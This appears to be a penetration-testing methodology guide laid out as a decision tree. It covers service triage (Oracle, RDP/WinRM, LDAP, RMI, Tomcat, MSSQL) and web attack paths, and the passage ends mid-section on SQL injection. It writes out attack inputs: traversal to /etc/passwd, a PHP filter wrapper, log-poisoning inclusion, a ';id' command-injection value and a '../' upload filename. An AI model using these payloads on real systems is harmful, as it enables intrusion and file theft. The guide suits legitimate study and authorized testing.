Enabled: Useful keys are readable or a fully permitted file-consumer chain exists: select that bounded capability.
Ruled out here: CONFIG denied rules out the familiar configuration-backed file-write route under this identity.
Unresolved: PING alone leaves key and administrative rights unknown; inspect the selected permitted command.
Show connections
These are conditional possibilities. Check the named condition before moving.
Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol
Cross role, function or session authorization boundaries — Administrative actions/routes or request methods visible from a lower role
Requires: The lower-role identity can invoke a protected server-side action without its required authorization
Match a public exploit to the actual component and configuration — A product/version clue, advisory or component-specific public PoC
Requires: Exact vulnerable build/configuration, required access and endpoint behavior; reviewable source and a verifiable expected effect
Triage Oracle listener and database identityNot inspectedAn Oracle TNS listener or connection descriptor
Starting access: A confirmed reachable application; anonymous context or one identified credential
Discover the clue
nmap -Pn -sV -p 1521 TARGET
Read the result
Listener/product evidence and a service name establish a connection candidate, not database credentials or DBA rights.
Still check: Validate the exact descriptor/account and inspect its permitted database action.
Illustrative output
1521/tcp open oracle-tns Oracle TNS Listener Application descriptor: SERVICE_NAME
Validate prerequisites and compare methods
Correct service/SID, reachable database transport and valid database credentials for authenticated work
nmap -Pn -sV -p 1521 TARGET
What did you find?
Enabled: The selected account logs in and grants a useful operation: enumerate within that role.
Ruled out here: The descriptor names a nonexistent service: reject that connection string before judging passwords.
Unresolved: An unidentified listener version or authentication error needs descriptor/account separation.
Show connections
These are conditional possibilities. Check the named condition before moving.
Validate known passwords and context-specific reuse — A password tied to a plausible user and service
Requires: Correct local/domain/application identity, reachable compatible service, accepted authentication and account state
Match a public exploit to the actual component and configuration — A product/version clue, advisory or component-specific public PoC
Requires: Exact vulnerable build/configuration, required access and endpoint behavior; reviewable source and a verifiable expected effect
Validate uncertain results and rebuild the service queue — Scanners disagree, a result is ambiguous, or a new identity changes accessible behavior
Requires: A selected endpoint and a test that can resolve the decision-changing uncertainty
Validate RDP, WinRM, VNC and Telnet access contextsNot inspectedAn exposed remote-access application and compatible known credentials
Starting access: A confirmed reachable application; anonymous context or one identified credential
Discover the clue
Test-NetConnection TARGET -Port 3389
Test-NetConnection TARGET -Port 5985
Read the result
Transport offers an RDP candidate from this source; it does not establish remote-interactive rights.
Still check: Check actual protocol, local/domain context, accepted authentication and endpoint/logon authorization.
Illustrative output
RemotePort : 3389; TcpTestSucceeded : True RemotePort : 5985; TcpTestSucceeded : False
Validate prerequisites and compare methods
Enabled destination service, matching authentication and protocol-specific logon/session rights
Test-NetConnection TARGET -Port 3389
Test-NetConnection TARGET -Port 5985
What did you find?
Enabled: The intended remote session opens and its identity is verified: enumerate the new host context.
Ruled out here: A known-valid identity lacks that logon right: reject this access form for the account.
Unresolved: A timeout cannot distinguish host firewall, route or absent service; verify the failed layer.
Show connections
These are conditional possibilities. Check the named condition before moving.
Obtain an authorized RDP interactive session — RDP is reachable and the identity may have remote-interactive logon rights
Requires: Allowed account/session policy and compatible client/NLA/TLS; hash-based Restricted Admin has additional supported-policy/admin requirements
Use WinRM, WinRS or PowerShell remoting — A WinRM listener and a candidate endpoint-authorized account
Requires: Reachable HTTP(S) listener, accepted authentication and endpoint/session configuration permissions; hash/ticket support depends on client/context
Establish Windows token, host and process context — A new Windows session or claimed administrator/SYSTEM transition
Requires: A functioning command channel and the actual effective token/process context
Discover LDAP naming contexts and authenticated searchNot inspectedLDAP/Kerberos listeners or a probable AD domain
Starting access: A confirmed reachable application; anonymous context or one identified credential
Discover the clue
ldapsearch -x -LLL -H ldap://DC_IP -s base -b '' defaultNamingContext namingContexts
Read the result
RootDSE supplies the search base; it does not grant arbitrary anonymous subtree access.
Still check: Check bind identity, transport/signing requirements and read visibility on the selected objects.
Illustrative output
dn: defaultNamingContext: DC=DOMAIN,DC=TLD
Validate prerequisites and compare methods
Reachable directory; anonymous query permission or valid bind identity; required signing/TLS and naming context
ldapsearch -x -H ldap://DC_IP -s base -b '' namingContexts defaultNamingContext
What did you find?
Enabled: A correctly authenticated scoped search returns expected objects: continue domain mapping.
Ruled out here: Anonymous subtree search is denied: reject anonymous enumeration while retaining a known-authenticated option.
Unresolved: An empty result may be the wrong base/filter or ACL visibility; compare a known object.
Show connections
These are conditional possibilities. Check the named condition before moving.
Establish domain identity, DC, DNS, time and route — Domain credentials or a domain-joined foothold
Requires: Correct realm/domain and account qualification; reachable DC/services, usable DNS and acceptable clock skew
Enumerate directory objects with native, LDAP and PowerView approaches — A directory bind or domain-joined identity can read relevant objects
Requires: Correct search base and authentication transport; object/attribute visibility and compatible local utilities
Request a selected service ticket for offline service-account recovery — A user-owned SPN and a useful service-account relationship
Requires: A valid domain authentication/TGT context, reachable KDC, target SPN and a feasible password/encryption candidate strategy
Investigate SIP/IRC identity and configuration cluesNot inspectedA confirmed SIP or IRC application
Starting access: A confirmed reachable application; anonymous context or one identified credential
Discover the clue
nmap -Pn -sV -p PORT TARGET
nc -nv TARGET PORT
Read the result
The real protocol and registration state determine the next client operation; the expected port label is insufficient.
Still check: Verify application/version, accepted interaction and exact exploit/access conditions.
Illustrative output
PORT/tcp open irc APPLICATION_VERSION :HOSTNAME NOTICE AUTH :registration required
Validate prerequisites and compare methods
Application-specific request format; permitted registration/channel/configuration access
nmap -Pn -sV -p PORT TARGET
What did you find?
Enabled: Normal protocol interaction exposes useful configuration or an exact vulnerable component: follow that candidate.
Ruled out here: The listener speaks another protocol: remove the SIP/IRC assumption.
Unresolved: A silent client-first or UDP service requires an appropriate protocol request; no greeting is not a version conclusion.
Show connections
These are conditional possibilities. Check the named condition before moving.
Match a public exploit to the actual component and configuration — A product/version clue, advisory or component-specific public PoC
Requires: Exact vulnerable build/configuration, required access and endpoint behavior; reviewable source and a verifiable expected effect
Validate known passwords and context-specific reuse — A password tied to a plausible user and service
Requires: Correct local/domain/application identity, reachable compatible service, accepted authentication and account state
Identify applications and validate selected NSE checks — A listener has a port-based label or uncertain version
Requires: A reachable selected port; scripts must match the application and permitted assessment behavior
S13 · Inspect a Java RMI registry before selecting an exploitNot inspectedDiscovery / validation only · action procedure pending
-
Enter: service detection or an application response identifies Java RMI on a selected port.
-
Discover: enumerate bound names, classes, remote endpoints and codebase annotations without assuming the registry is exploitable:
nmap -sV -p PORT --script rmi-dumpregistry TARGET -
Validate: confirm the selected endpoint is the actual registry/service, its class-loading/serialization behavior, Java/version prerequisites and whether any proposed test is intrusive. The Nmap class-loader probe is categorized intrusive and must not be the baseline:
nmap -p PORT --script rmi-vuln-classloader TARGET -
Execute: no generic RMI/serialization execution procedure is registered. Route a matched component/version/condition to D16 only after the required behavior is established; see RW05.
-
Verify: registry names or a vulnerable class-loader result are component evidence, not a session. A complete action must separately verify the executed identity and resulting capability.
-
Outcomes: matching component and vulnerable behavior → candidate for reviewed D16 procedure; no registry or prerequisite decisively absent → ruled out here; filtered/incomplete registry or ambiguous class loading → inconclusive.
-
Sources: Nmap
rmi-dumpregistryandrmi-vuln-classloader.
S14 · Classify a Tomcat Manager interface and accepted roleNot inspectedDiscovery / validation only · action procedure pending
-
Enter: the application is confirmed as Apache Tomcat and a
/manager/*interface responds. -
Discover: inspect the selected interface and authentication boundary without spraying credentials:
curl -sk -D - "https://TARGET:PORT/manager/html" -o /dev/null curl -sk -D - "https://TARGET:PORT/manager/text/list" -o /dev/null -
Validate: identify the accepted account and manager role:
manager-gui,manager-script,manager-jmxormanager-status. GUI access and text-script access are intentionally separate; a401,403and application404have different meanings. -
Execute: current notes do not yet own a version-scoped deployment, verification and cleanup procedure. Preserve the authenticated management capability and see RW06. JBoss/Jenkins and other managers remain separate product branches under RW07.
-
Verify: a manager listing proves the interface/role only. A deployable application, reachable context path and server-side execution identity require separate proof.
-
Outcomes: accepted deployment-capable role → ready for a reviewed product procedure; role/interface denies the required operation → ruled out for that role; proxy rewriting, wrong scheme/path or ambiguous realm → inconclusive.
-
Source: Apache Tomcat Manager App HOW-TO.
S15 · Follow an MSSQL linked server as a new SQL identity boundaryNot inspected
- Enter: a working MSSQL login reveals one linked server or login mapping.
- Discover: enumerate
sys.serversandsp_helplinkedsrvlogin, preserving local login, remote server, provider/data source and mapping. - Validate: test one read-only remote identity query through the supported RPC or data-access mechanism. Do not enable RPC, create mappings or change configuration for enumeration.
- Execute: MSSQL linked-server and login-context mapping.
- Verify: record returned
SYSTEM_USER,ORIGINAL_LOGIN()and the remote role result. A remote SQL query is not OS command execution. - Outcomes: mapped remote query succeeds → re-enter D07 for that server/identity; link exists but RPC/data access is decisively unavailable → ruled out for that mechanism; mapping/authentication/provider failure is unresolved → inconclusive/D31.
Map useful web behavior
Establish scheme, host, redirects and request stateNot inspectedAn HTTP endpoint, redirect or hostname-dependent response
Starting access: A reachable HTTP application and recorded anonymous or authenticated request state
Discover the clue
curl -skD headers.txt -o body.html http://TARGET:PORT/
curl -skI https://TARGET:PORT/
Read the result
The hostname/scheme redirect identifies the application request context to reproduce.
Still check: Confirm the hostname routes to the assigned address and preserve its TLS/Host/session state.
Illustrative output
HTTP/1.1 302 Found Location: https://HOSTNAME/ Set-Cookie: SESSION_COOKIE
Validate prerequisites and compare methods
Correct scheme/port and virtual host; saved cookies/headers for authenticated comparisons
curl -skD headers.txt -o body.html http://TARGET:PORT/
curl -skI https://TARGET:PORT/
What did you find?
Enabled: The correct named request reaches a distinct application: map its functions.
Ruled out here: The candidate name produces only the default missing-host response: discard that virtual-host inference.
Unresolved: Redirect loops can mean missing cookies/host routing; repair the normal request before testing vulnerabilities.
Show connections
These are conditional possibilities. Check the named condition before moving.
Discover virtual hosts and hostname-selected applications — DNS names, redirects, certificate names or a default virtual-host response
Requires: A destination listener, relevant domain candidates and controlled Host/SNI routing
Map functions, roles and normal requests manually — Forms, downloads, exports, account functions or role-specific interfaces
Requires: A normal request baseline and the relevant account/role; authorized accounts for role comparisons
Inspect source, backups, configuration and repository artifacts — JavaScript endpoints, backup names, exposed configuration or Git metadata
Requires: Readable application artifact or a complete recoverable repository; preserve the public-source scope
Map functions, roles and normal requests manuallyNot inspectedForms, downloads, exports, account functions or role-specific interfaces
Starting access: A reachable HTTP application and recorded anonymous or authenticated request state
Discover the clue
curl -sk -b cookies.txt -D response-headers.txt http://TARGET:PORT/PATH
Read the result
The normal request exposes a file-selecting input discovered through functionality, not guessed from a payload list.
Still check: Find the actual input semantics, account/role and normal response before file/read/authorization tests.
Illustrative output
Observed browser request: GET /download?file=report.pdf Cookie: SESSION_COOKIE
Validate prerequisites and compare methods
A normal request baseline and the relevant account/role; authorized accounts for role comparisons
curl -sk -b cookies.txt -D response-headers.txt http://TARGET:PORT/PATH
What did you find?
Enabled: Controlled comparisons prove a useful primitive: choose its method and remaining checks.
Ruled out here: The parameter only selects an allowlisted public report: discard unrestricted-path inference.
Unresolved: Unknown ownership or an expired session prevents interpreting differences; re-establish the baseline.
Show connections
These are conditional possibilities. Check the named condition before moving.
Cross an object-ownership boundary — A request selects an object by ID/path and two authorized ownership contexts are available
Requires: The server accepts a lower-privilege identity's request for an object it should not access
Read files through directory traversal — A download/path parameter or URL segment influences a local filename
Requires: Untrusted path reaches a filesystem read outside its intended directory; process identity can read the requested file
Establish upload acceptance, storage and retrieval — An upload/import/attachment function
Requires: A valid upload request and permitted account; the server accepts and stores controlled bytes
Prove server-side template evaluation and identify its engine — Controlled input appears in a server-rendered template, preview, email or report
Requires: The application evaluates attacker-controlled template syntax and the selected engine exposes a useful object or function
Use an XML parser's external-entity behavior for bounded file read — A working XML request reaches a server-side parser that accepts a controlled document or field
Requires: External entity or XInclude processing is enabled and the parser identity can read the selected file
Test structured NoSQL operator injection with identity controls — A login or search accepts JSON/nested form properties and evidence suggests an operator-based document query
Requires: The framework preserves an attacker-controlled operator object and the query uses it without rejecting its type
Match PHP deserialization gadgets to installed dependencies — Source or request evidence shows controlled serialized PHP data reaches unsafe unserialize
Requires: Required gadget classes and compatible dependency versions are loaded; transport preserves exact serialized bytes
Validate unsafe YAML object construction — Source or errors identify server-side Python YAML loading of controlled content
Requires: The application uses an unsafe PyYAML loader that permits the selected Python object constructor
Test Shellshock only through a confirmed CGI-to-Bash chain — A real CGI endpoint invokes Bash and component/patch evidence supports the vulnerable family
Requires: HTTP-derived environment data reaches an affected Bash process and the selected command is available
Discover directories and files with controlled response filtering — An application has unlinked paths, backups or administration endpoints
Requires: Correct base URL/session and a measured nonexistent-path response; bounded relevant wordlist
Inspect source, backups, configuration and repository artifactsNot inspectedJavaScript endpoints, backup names, exposed configuration or Git metadata
Starting access: A reachable HTTP application and recorded anonymous or authenticated request state
Discover the clue
curl -sk http://TARGET:PORT/robots.txt
curl -sk http://TARGET:PORT/.git/HEAD
Read the result
The path and Git reference are investigation leads; neither proves a working secret or complete repository.
Still check: Compare missing-path controls, retrieve actual permitted artifacts and verify recovered history/account context.
Illustrative output
robots.txt: Disallow: /INTERNAL_PATH/ .git/HEAD: ref: refs/heads/main
Validate prerequisites and compare methods
Readable application artifact or a complete recoverable repository; preserve the public-source scope
curl -sk http://TARGET:PORT/robots.txt
curl -sk http://TARGET:PORT/.git/HEAD
What did you find?
Enabled: Relevant source/history is recoverable and exposes a typed artifact: inspect it through the credential workflow.
Ruled out here: The same body is returned for arbitrary missing paths: reject the apparent metadata exposure.
Unresolved: HEAD without objects leaves repository recovery incomplete; document available content instead of inventing history.
Show connections
These are conditional possibilities. Check the named condition before moving.
Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol
Match a public exploit to the actual component and configuration — A product/version clue, advisory or component-specific public PoC
Requires: Exact vulnerable build/configuration, required access and endpoint behavior; reviewable source and a verifiable expected effect
Map parameters, API methods, objects and writable properties — An API/schema, numeric object IDs, hidden fields or different HTTP methods
Requires: A valid request and explicit role/object ownership; exact input format and content type
Discover directories and files with controlled response filteringNot inspectedAn application has unlinked paths, backups or administration endpoints
Starting access: A reachable HTTP application and recorded anonymous or authenticated request state
Discover the clue
curl -sk -D - http://TARGET:PORT/KNOWN_MISSING_PATH
Read the result
The candidate's actual function differs from the soft-404 control despite equal status codes.
Still check: Request a known-missing path under the same host/session and compare status, body and length. Open each distinct Gobuster/ffuf result; a uniform login page or soft-404 is a filter problem, not a directory finding.
Illustrative output
Missing control: status=200, body=DEFAULT_ERROR Candidate /EXPORT_PATH/: status=200, body=EXPORT_FORM
Validate prerequisites and compare methods
Correct base URL/session and a measured nonexistent-path response; bounded relevant wordlist
curl -sk -D - http://TARGET:PORT/KNOWN_MISSING_PATH
What did you find?
Enabled: Independent retrieval confirms an actual function: add its request to the behavior map.
Ruled out here: The candidate matches the wildcard error body: remove it from the useful queue.
Unresolved: Rate limiting or session expiry distorts response size; restore stable controls before filtering.
Show connections
These are conditional possibilities. Check the named condition before moving.
Map functions, roles and normal requests manually — Forms, downloads, exports, account functions or role-specific interfaces
Requires: A normal request baseline and the relevant account/role; authorized accounts for role comparisons
Inspect source, backups, configuration and repository artifacts — JavaScript endpoints, backup names, exposed configuration or Git metadata
Requires: Readable application artifact or a complete recoverable repository; preserve the public-source scope
Establish upload acceptance, storage and retrieval — An upload/import/attachment function
Requires: A valid upload request and permitted account; the server accepts and stores controlled bytes
Discover virtual hosts and hostname-selected applicationsNot inspectedDNS names, redirects, certificate names or a default virtual-host response
Starting access: A reachable HTTP application and recorded anonymous or authenticated request state
Discover the clue
curl -sk --resolve HOSTNAME:PORT:TARGET https://HOSTNAME:PORT/
Read the result
A reproducible hostname-selected application is a new mapping target on the same address.
Still check: Send a random Host header as a negative control, compare the candidate's real response, then browse it with the correct hostname. A different status caused only by redirects or a default site is not a confirmed vhost.
Illustrative output
Host HOSTNAME: application login page Host INVALID_HOST: default server page
Validate prerequisites and compare methods
A destination listener, relevant domain candidates and controlled Host/SNI routing
curl -sk --resolve HOSTNAME:PORT:TARGET https://HOSTNAME:PORT/
What did you find?
Enabled: The named application has distinct verified behavior: give it its own session/function map.
Ruled out here: All candidate hosts receive the same default body: discard the claimed distinct application.
Unresolved: TLS routing or local DNS is wrong: fix that context before deciding a vhost is absent.
Show connections
These are conditional possibilities. Check the named condition before moving.
Establish scheme, host, redirects and request state — An HTTP endpoint, redirect or hostname-dependent response
Requires: Correct scheme/port and virtual host; saved cookies/headers for authenticated comparisons
Map functions, roles and normal requests manually — Forms, downloads, exports, account functions or role-specific interfaces
Requires: A normal request baseline and the relevant account/role; authorized accounts for role comparisons
Expand names through DNS records and zone transfers — A DNS server, domain name or host aliases
Requires: Reachable DNS transport and relevant authoritative zone; AXFR requires an allowed TCP zone transfer
Map parameters, API methods, objects and writable propertiesNot inspectedAn API/schema, numeric object IDs, hidden fields or different HTTP methods
Starting access: A reachable HTTP application and recorded anonymous or authenticated request state
Discover the clue
curl -sk -i -b cookies.txt http://TARGET:PORT/api/PATH
Read the result
The actual object, method and writable input are known; returned owner/role fields are only candidate security boundaries.
Still check: Determine field binding, ownership, persistence and server authorization with controlled accounts.
Illustrative output
Object fields: id, ownerId, role
Observed request: PATCH /api/profile
Body: {"displayName":"VALUE"}Validate prerequisites and compare methods
A valid request and explicit role/object ownership; exact input format and content type
curl -sk -i -b cookies.txt http://TARGET:PORT/api/PATH
What did you find?
Enabled: A protected field/action changes under a lower role and is independently verified: select its authorization method.
Ruled out here: The server ignores the sensitive field and privileges remain unchanged: reject that assignment hypothesis.
Unresolved: Malformed JSON or wrong content type makes a failed request inconclusive; reproduce the valid update first.
Show connections
These are conditional possibilities. Check the named condition before moving.
Modify a protected property through excessive writable fields — API objects expose role, ownership or security-sensitive properties
Requires: The server binds an untrusted property to a persistent security-relevant field without checking permission
Cross an object-ownership boundary — A request selects an object by ID/path and two authorized ownership contexts are available
Requires: The server accepts a lower-privilege identity's request for an object it should not access
Prove visible or blind operating-system command injection — An input appears in a command-like operation or causes shell-dependent behavior
Requires: Input reaches command execution with an exploitable parsing boundary; process identity/runtime can perform the selected proof
Establish SQL query influence and DBMS context — Database errors or controlled true/false response differences
Requires: Input reaches a SQL query; a valid request and stable response baseline exist
Execute browser code and validate a useful same-origin action — Untrusted input reaches an executable HTML/JavaScript context
Requires: Payload reaches a browser execution sink; any useful privileged action additionally needs a victim context, same-origin access and a valid request state
Use server-side requests to inspect reachable internal behavior — URL import, preview, webhook or fetch behavior
Requires: The application server performs a controllable request; destination/protocol policy and its network position permit the selected resource
S12 · Map an authentication, session or multistep web flowNot inspected
- Enter: the application exposes login, registration, recovery, role change, state-changing business action, authenticated API or another session-dependent flow.
- Discover: capture a working anonymous and/or authenticated request, then record method, scheme/host/path, headers, cookies/tokens, body fields, hidden values, redirects, role and each step required to complete the action. Include non-GET/POST methods, JSON/XML bodies and WebSocket/API messages when the application actually uses them.
- Validate: replay the unchanged request first; then change one identity, object, property or session boundary at a time. Confirm freshness, CSRF/token coupling, object ownership and whether the result is server-side rather than a browser-only presentation change.
- Execute: HTTP and web mapping, then route only the demonstrated effect to the existing parameter, authorization, IDOR, mass-assignment, XSS, parser or command/SQL method.
- Verify: preserve one reproducible request/response pair and the exact role/session/object delta. Mapping a field or flow is not itself exploitation.
- Outcomes: controlled unauthorized effect → D14 or the matching primitive; invariant authorization/ownership enforcement → ruled out for that transition; token expiry, cache, redirect or client-side behavior masks the result → inconclusive/D31.
- Source: OWASP WSTG entry-point mapping.
Turn application weaknesses into access
Read files through directory traversalNot inspectedA download/path parameter or URL segment influences a local filename
Starting access: A reproducible application request and a controlled input or access-context comparison
Discover the clue
curl -sk -b cookies.txt -D - 'http://TARGET:PORT/download?file=report.pdf'
Read the result
An application-controlled file selection is the cue to test path confinement; it is not yet arbitrary read.
Still check: Request a known target-platform file through the real file parameter/path and compare with the normal response. Require recognizable file contents; a reflected filename, error or status change is not a read.
Illustrative output
GET /download?file=report.pdf Content-Disposition: attachment; filename=report.pdf Body: EXPECTED_REPORT_BYTES
Validate prerequisites and compare methods
Untrusted path reaches a filesystem read outside its intended directory; process identity can read the requested file
curl -skG --data-urlencode 'file=../../../../../../etc/passwd' http://TARGET:PORT/PATH
What did you find?
Enabled: A controlled out-of-directory request returns the intended target bytes: the traversal method is available.
Ruled out here: An allowlist rejects paths and only serves approved report IDs: this path-selection context is not a traversal route.
Unresolved: An error mentioning a path shows influence but not read access; compare normal/control requests and permission/path depth.
Show connections
These are conditional possibilities. Check the named condition before moving.
Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol
Disclose PHP source through an inclusion wrapper — A PHP page/include parameter and possible access to local application files
Requires: A PHP inclusion sink accepts the filter wrapper and the process can read the source
Inspect source, backups, configuration and repository artifacts — JavaScript endpoints, backup names, exposed configuration or Git metadata
Requires: Readable application artifact or a complete recoverable repository; preserve the public-source scope
Disclose PHP source through an inclusion wrapperNot inspectedA PHP page/include parameter and possible access to local application files
Starting access: A reproducible application request and a controlled input or access-context comparison
Discover the clue
curl -sk -D - 'http://TARGET:PORT/index.php?page=about'
Read the result
An include-related error suggests an evaluating PHP sink, unlike an ordinary file-download function.
Still check: Verify that the actual sink accepts a filter wrapper and returns decodable target source; errors alone do not prove it.
Illustrative output
Normal link: index.php?page=about Error for invalid page: include(PAGE.php): failed to open stream
Validate prerequisites and compare methods
A PHP inclusion sink accepts the filter wrapper and the process can read the source
curl -skG --data-urlencode 'page=php://filter/convert.base64-encode/resource=index.php' http://TARGET:PORT/index.php
What did you find?
Enabled: The wrapper yields source that decodes correctly: use that source-disclosure method.
Ruled out here: The endpoint reads raw bytes through a wrapper-incompatible API: reject this PHP-inclusion hypothesis.
Unresolved: PHP branding without sink evidence leaves inclusion unproved; investigate normal request/source behavior first.
Show connections
These are conditional possibilities. Check the named condition before moving.
Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol
Turn controlled local file content into inclusion execution — A confirmed evaluating include and a log or file containing attacker-controlled bytes
Requires: Controlled content survives logging; inclusion identity can read it; interpreter evaluates it; requested command facility is available
Prove visible or blind operating-system command injection — An input appears in a command-like operation or causes shell-dependent behavior
Requires: Input reaches command execution with an exploitable parsing boundary; process identity/runtime can perform the selected proof
Turn controlled local file content into inclusion executionNot inspectedA confirmed evaluating include and a log or file containing attacker-controlled bytes
Starting access: A reproducible application request and a controlled input or access-context comparison
Discover the clue
curl -sk -A 'LOG_CANARY' http://TARGET:PORT/
curl -skG --data-urlencode 'page=/PATH/TO/access.log' http://TARGET:PORT/index.php
Read the result
The include/read identity can reach a log containing your controlled input; evaluation and payload preservation still need proof.
Still check: Separate raw file read from interpreter evaluation, confirm exact file path and encoding, then a minimal command effect.
Illustrative output
Readable log excerpt: GET / ... User-Agent=LOG_CANARY
Validate prerequisites and compare methods
Controlled content survives logging; inclusion identity can read it; interpreter evaluates it; requested command facility is available
curl -skG --data-urlencode 'page=/var/log/apache2/access.log' http://TARGET:PORT/index.php
What did you find?
Enabled: Controlled log bytes are evaluated and the bounded identity proof succeeds: use the inclusion-execution chain.
Ruled out here: The log is only served as inert text: rule out execution through this reader while retaining file disclosure.
Unresolved: No marker may mean a different log, buffered writes or escaped content; inspect configuration before changing payloads.
Show connections
These are conditional possibilities. Check the named condition before moving.
Verify command execution, host and represented identity — A PoC, injected command or remote client reports execution
Requires: A functioning execution primitive and an observable output or controlled side effect
Connect a Linux reverse shell through an available interpreter — Linux command execution exists but an interactive channel is needed
Requires: A confirmed Bash/Python/PHP/Netcat implementation, correct parser wrapping, target-to-listener route and compatible listener
Read files through directory traversal — A download/path parameter or URL segment influences a local filename
Requires: Untrusted path reaches a filesystem read outside its intended directory; process identity can read the requested file
Establish upload acceptance, storage and retrievalNot inspectedAn upload/import/attachment function
Starting access: A reproducible application request and a controlled input or access-context comparison
Discover the clue
printf '%s\n' 'UPLOAD_CANARY' > probe.txt
curl -sk -b cookies.txt -F 'file=@probe.txt;type=text/plain' http://TARGET:PORT/upload
Read the result
The real upload route, field and response identify a storage/retrieval candidate.
Still check: Retrieve the canary independently; establish stored bytes, final name and account/context before testing execution.
Illustrative output
HTTP/1.1 201 Created
{"id":"UPLOAD_ID","url":"/files/UPLOAD_ID"}Validate prerequisites and compare methods
A valid upload request and permitted account; the server accepts and stores controlled bytes
printf '%s\n' 'UPLOAD_CANARY' > probe.txt
curl -sk -b cookies.txt -F 'file=@probe.txt;type=text/plain' http://TARGET:PORT/upload
What did you find?
Enabled: The canary is stored and retrievable: a write/retrieval primitive is verified.
Ruled out here: The server only validates and discards the upload: reject the assumed persistent-write capability.
Unresolved: A success message without a retrieval/path observation leaves persistence unknown.
Show connections
These are conditional possibilities. Check the named condition before moving.
Execute an uploaded file through a compatible handler — Uploads are retrievable and the application stack suggests an executable file handler
Requires: Controlled executable content survives validation; final storage/URL is handled by the compatible interpreter; process execution is permitted
Use upload path control to reach a useful consumer — A multipart filename/import path appears to influence the filesystem destination
Requires: Destination path control survives normalization; write identity can reach the destination; a known consumer accepts the resulting file
Map functions, roles and normal requests manually — Forms, downloads, exports, account functions or role-specific interfaces
Requires: A normal request baseline and the relevant account/role; authorized accounts for role comparisons
Execute an uploaded file through a compatible handlerNot inspectedUploads are retrievable and the application stack suggests an executable file handler
Starting access: A reproducible application request and a controlled input or access-context comparison
Discover the clue
curl -sk -i http://TARGET:PORT/uploads/FILE
Read the result
A retrievable script may be inert. The interesting detail is how the final location is handled, not acceptance of a script extension.
Still check: Retrieve the exact stored upload and request it through the candidate server-side handler. Verify an attributable identity marker from that request; uploaded bytes or a 200 response alone do not prove execution.
Illustrative output
Stored file response: Content-Type: text/plain Body: literal uploaded script source
Validate prerequisites and compare methods
Controlled executable content survives validation; final storage/URL is handled by the compatible interpreter; process execution is permitted
curl -sk -i http://TARGET:PORT/uploads/FILE
What did you find?
Enabled: The correct final handler executes the minimal proof as the web identity: choose upload-to-execution.
Ruled out here: The file consistently downloads/displays as source in non-executable storage: rule out execution at this location.
Unresolved: Unknown server rename or storage URL leaves handler selection unresolved.
Show connections
These are conditional possibilities. Check the named condition before moving.
Verify command execution, host and represented identity — A PoC, injected command or remote client reports execution
Requires: A functioning execution primitive and an observable output or controlled side effect
Connect a Linux reverse shell through an available interpreter — Linux command execution exists but an interactive channel is needed
Requires: A confirmed Bash/Python/PHP/Netcat implementation, correct parser wrapping, target-to-listener route and compatible listener
Use upload path control to reach a useful consumer — A multipart filename/import path appears to influence the filesystem destination
Requires: Destination path control survives normalization; write identity can reach the destination; a known consumer accepts the resulting file
Use upload path control to reach a useful consumerNot inspectedA multipart filename/import path appears to influence the filesystem destination
Starting access: A reproducible application request and a controlled input or access-context comparison
Discover the clue
curl -sk -b cookies.txt -F 'file=@probe.txt;filename=../UNIQUE_CANARY.txt;type=text/plain' http://TARGET:PORT/upload
Read the result
An independently located out-of-directory canary is path-control evidence; it does not establish access to another user's key directory.
Still check: Confirm filesystem identity, exact destination semantics, write permissions and a useful consumer/trigger.
Illustrative output
Submitted filename: ../UNIQUE_CANARY.txt Independent listing: /EXPECTED_PARENT/UNIQUE_CANARY.txt
Validate prerequisites and compare methods
Destination path control survives normalization; write identity can reach the destination; a known consumer accepts the resulting file
curl -sk -b cookies.txt -F 'file=@probe.txt;filename=../UNIQUE_CANARY.txt;type=text/plain' http://TARGET:PORT/upload
What did you find?
Enabled: A controlled usable destination and its consumer accept the file: select that verified write-to-access chain.
Ruled out here: The server strips path components and stores only a generated basename: reject arbitrary placement in that context.
Unresolved: A reflected submitted path without independent location evidence leaves placement inconclusive.
Show connections
These are conditional possibilities. Check the named condition before moving.
Use SSH passwords, keys and forwarding-capable access — An SSH service and a known password, private key or agent context
Requires: Compatible authentication method, correct user, accepted key policy and the requested shell/subsystem permission
Prove effective file, directory, ACL and mount control — A root-consumed file or directory appears writable
Requires: Effective access through every parent/ACL and mount; a privileged consumer and trigger are identified separately
Prove effective file, registry and service-object permissions — A privileged object appears writable or an ACL tool reports a useful right
Requires: Correct trustee/token, object type and effective rights including parents and deny entries
Prove visible or blind operating-system command injectionNot inspectedAn input appears in a command-like operation or causes shell-dependent behavior
Starting access: A reproducible application request and a controlled input or access-context comparison
Discover the clue
curl -skG --data-urlencode 'PARAM=NORMAL_VALUE' http://TARGET:PORT/PATH
Read the result
The function and output suggest an OS utility consumer; the parameter's parsing boundary is the candidate.
Still check: Replay the real request with a benign id/whoami marker and a normal control. Require attributable command output, or repeat bounded timing/control tests for a blind sink. Reflected text or one slow response is not execution.
Illustrative output
Normal function: network diagnostic Request parameter: host=NORMAL_VALUE Response includes utility-style output
Validate prerequisites and compare methods
Input reaches command execution with an exploitable parsing boundary; process identity/runtime can perform the selected proof
curl -skG --data-urlencode 'PARAM=VALUE;id' http://TARGET:PORT/PATH
What did you find?
Enabled: Only the injected request yields the intended command-derived proof: select command injection.
Ruled out here: The input is passed as a fixed safe argument and metacharacters remain literal: reject that separator/context route.
Unresolved: A generic error or isolated delay could be application/load behavior; run stable controls before deciding.
Show connections
These are conditional possibilities. Check the named condition before moving.
Verify command execution, host and represented identity — A PoC, injected command or remote client reports execution
Requires: A functioning execution primitive and an observable output or controlled side effect
Connect a Linux reverse shell through an available interpreter — Linux command execution exists but an interactive channel is needed
Requires: A confirmed Bash/Python/PHP/Netcat implementation, correct parser wrapping, target-to-listener route and compatible listener
Repair quoting, encoding and command-length boundaries — A simple command works while a longer or nested payload fails
Requires: Known outer request/template/database parser and inner shell; correct character encoding and transport length
Establish SQL query influence and DBMS contextNot inspectedDatabase errors or controlled true/false response differences
Starting access: A reproducible application request and a controlled input or access-context comparison
Discover the clue
curl -skG --data-urlencode 'PARAM=NORMAL_VALUE' http://TARGET:PORT/PATH
curl -skG --data-urlencode "PARAM=NORMAL_VALUE'" http://TARGET:PORT/PATH
Read the result
